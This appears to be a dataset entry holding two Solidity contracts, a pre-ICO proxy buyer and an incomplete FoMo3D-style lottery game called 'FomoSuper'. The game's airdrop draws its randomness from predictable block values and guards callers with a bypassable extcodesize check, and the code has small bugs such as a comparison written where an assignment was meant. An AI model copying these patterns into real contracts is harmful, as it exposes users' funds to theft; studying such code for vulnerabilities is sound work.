contract PreICOProxyBuyer is Ownable, Haltable {
using SafeMath for uint;
uint public investorCount;
uint public weiRaised;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiMaximumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
uint public timeLock;
bool public forcedRefund;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investor, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiMaximumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
if(_weiMaximumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiMaximumLimit = _weiMaximumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest(uint128 customerId) private {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = balances[investor].add(msg.value);
if(balances[investor] < weiMinimumLimit || balances[investor] > weiMaximumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaised = weiRaised.add(msg.value);
if(weiRaised > weiCap) {
throw;
}
Invested(investor, msg.value, 0, customerId);
}
function buyWithCustomerId(uint128 customerId) public stopInEmergency payable {
invest(customerId);
}
function buy() public stopInEmergency payable {
invest(0x0);
}
function buyForEverybody() stopNonOwnersInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaised)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return balances[investor].mul(tokensBought) / weiRaised;
}
function getClaimLeft(address investor) public constant returns (uint) {
return getClaimAmount(investor).sub(claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
require (now > timeLock);
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = claimed[investor].add(amount);
totalClaimed = totalClaimed.add(amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function setTimeLock(uint _timeLock) public onlyOwner {
timeLock = _timeLock;
}
function forceRefund() public onlyOwner {
forcedRefund = true;
}
function loadRefund() public payable {
if(getState() != State.Refunding) throw;
}
function getState() public returns(State) {
if (forcedRefund)
return State.Refunding;
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function isPresale() public constant returns (bool) {
return true;
}
function() payable {
throw;
}
} | 0 | 1,105 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FomoSuper is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149);
address private admin = msg.sender;
string constant public name = "FomoSuper";
string constant public symbol = "FomoSuper";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 8 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
